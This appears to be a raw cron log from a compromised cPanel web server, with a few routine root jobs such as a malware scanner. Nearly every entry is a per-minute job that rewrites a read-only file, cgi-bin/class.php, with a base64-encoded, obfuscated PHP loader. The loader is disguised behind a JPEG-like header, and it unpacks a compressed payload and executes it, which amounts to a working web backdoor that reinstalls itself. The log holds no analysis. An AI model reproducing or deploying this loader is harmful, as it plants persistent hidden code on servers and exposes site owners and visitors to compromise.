Nov 10 13:43:01 server CROND[6552]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:44:01 server CROND[7379]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:45:01 server CROND[8304]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:45:01 server CROND[8305]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 13:45:01 server CROND[8306]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 13:46:01 server CROND[9258]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:47:01 server CROND[10040]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:48:01 server CROND[10912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:49:01 server CROND[11785]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:50:01 server CROND[12623]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 13:50:01 server CROND[12626]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 13:50:01 server CROND[12628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 13:50:01 server CROND[12630]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:50:01 server CROND[12633]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 13:51:01 server CROND[13670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:52:01 server CROND[14496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:53:01 server CROND[15373]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:54:01 server CROND[16202]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:55:01 server CROND[17053]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 13:55:01 server CROND[17054]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 13:55:01 server CROND[17055]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
